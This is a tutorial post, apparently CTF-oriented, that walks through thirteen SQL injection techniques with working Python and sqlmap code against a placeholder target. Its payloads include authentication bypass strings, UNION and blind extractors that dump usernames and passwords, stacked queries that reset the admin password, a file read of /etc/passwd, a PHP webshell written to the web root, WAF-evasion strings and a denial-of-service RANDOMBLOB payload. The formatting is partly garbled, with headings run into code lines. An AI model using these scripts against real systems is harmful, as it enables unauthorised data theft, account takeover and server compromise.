SQL-injection-basic&code
There are 13 basic categories:
import requests, time
T = "http://target.com/vuln" 1: Probe — Make sure the injection points:
Using “OR” or “AND”, one is false and one is true, so if there are different results, then we can know that there is some place to inject.
base = len(requests.get(T, params={"id": "1"}).text)
for p in ["1'", "1' AND '1'='1", "1' AND '1'='2"]:
n = len(requests.get(T, params={"id": p}).text)
print(p, "error" if n != base else "normal")
2: Auth Bypass
example: admin ’ — —
There is a comment so maybe before there is some limits( to check the password or whether you are the admin) after the “— —” but now the comment after it become a comment so will not be shown.
requests.post(T, data={"username": "admin' -- ", "password": "x"})
# or username = "' OR 1=1 LIMIT 1 -- "3:UNION injection
“UNION SELECT” can directly read the results of the query. You can check whether something exists. Such as you can check how many lines there have, something like this.
So have “echo” means that we can use the “UNION” to directly read it, but without the “echo” we need to use the blind injection.
# 1) coloum
for i in range(1, 20):
if "error" in requests.get(T, params={"id": f"1' ORDER BY {i}-- "}).text:
cols = i - 1; break
# 2) read the data(if two lines have the echo, so there is three lines)
q = "SELECT GROUP_CONCAT(username,0x3a,password) FROM users"
print(requests.get(T, params={"id": f"' UNION SELECT null,({q}),null-- "}).text)4: Boolean-based Blind
You can only get the results/outputs based on “True/False”, so if you want to check something, it must be char by char. So sometimes it will be brute force.
def true(p): # true or false oracle
return len(requests.get(T, params={"id": f"1' AND {p}-- "}).text) > 500
def extract(q):
s = ""
for pos in range(1, 50):
lo, hi = 32, 126
while lo < hi: # binary search
mid = (lo + hi) // 2
if true(f"ASCII(SUBSTR(({q}),{pos},1))>{mid}"): lo = mid + 1
else: hi = mid
if lo == 32: break
s += chr(lo)
return s
print(extract("SELECT flag FROM flags LIMIT 1"))5: Time_based blind
Get Yixuan Xie’s stories in your inbox
Join Medium for free to get updates from this writer.
Sometimes the page will not return 404 not found, the true and false will be almost the same. So you can “IF(condition, SLEEP(2),0)”. So if it’s false, maybe we should wait for 2 seconds, and if it’s true, maybe it will show the results instantly.
def true(p):
st = time.time()
requests.get(T, params={"id": f"1' AND IF({p},SLEEP(2),0)-- "}, timeout=10)
return time.time() - st > 1.5 # stuck = true6: Error_based information
Sometimes the pages will not return the data themselves, but if something went wrong, it will show the pages. So we can construct the error pages and put some data in purpose in the function to let the function print the plaintext you want.
import re
def err(q):
r = requests.get(T, params={"id": f"1' AND extractvalue(1,CONCAT(0x7e,({q}),0x7e))-- "})
m = re.search(r"~(.+?)~", r.text) # data are in ~...~
return m.group(1) if m else r.text[:200]
print(err("SELECT database()"))
# more than 32 SUBSTRING(({q}),32,31), we can divide into many parts7:Stacked Queries
If the “;” is allowed, you can inject all of the things at one time and it’s easy for you to execute all of them together for one time.
def run(sql): requests.get(T, params={"id": f"1'; {sql}-- "})
run("UPDATE users SET password='hacked' WHERE username='admin'")
run("RENAME TABLE words TO w1; RENAME TABLE flag TO words") # CTF change form to "SELECT" form8: File R/W
If LOAD_FILE() is allowed, we can see the server shell and also load a PHP webshell in it.
g = lambda p: requests.get(T, params={"id": p}).text
print(g("' UNION SELECT LOAD_FILE('/etc/passwd'),null,null-- ")) # read
g("' UNION SELECT '<?php system($_GET[1]);?>',null,null INTO OUTFILE '/var/www/html/s.php'-- ") # write PHP bugs9:WAF/Bypass
"1'/**/OR/**/1=1-- " # " "→ /**/
"1' UNunionION SEselectLECT 1-- " #
"1' OR id=0x61646d696e-- " # ""→ hex
"1' OR id LIKE 0x61-- " # =→ LIKE10:ORDER BY injection
def true(p):
r = requests.get(T, params={"sort": f"(CASE WHEN ({p}) THEN 1 ELSE -1 END)*id"})
return '"id":1' in r.text[:200] 11:Second_order injection
s = requests.Session()
s.post(T + "/register", data={"username": "admin' -- ", "password": "p"})
s.post(T + "/login", data={"username": "admin' -- ", "password": "p"})
s.post(T + "/change-pw", data={"new": "hacked"}) # backend use username → change admin12: sqlmap
sqlmap -u "http://target.com/vuln?id=1" --batch --dbs
sqlmap -u "..." -D ctf -T flags --dump --batch
sqlmap -u "..." --tamper space2comment,randomcase --technique B --batch13: SQLite
# ASCII→UNICODE, SUBSTRING→SUBSTR
true(f"UNICODE(SUBSTR(({q}),{pos},1))>{mid}")
g("' UNION SELECT name,sql FROM sqlite_master WHERE type='table'-- ")
"' AND CASE WHEN (1=1) THEN LIKE('a',UPPER(HEX(RANDOMBLOB(50000000)))) ELSE 1 END-- "




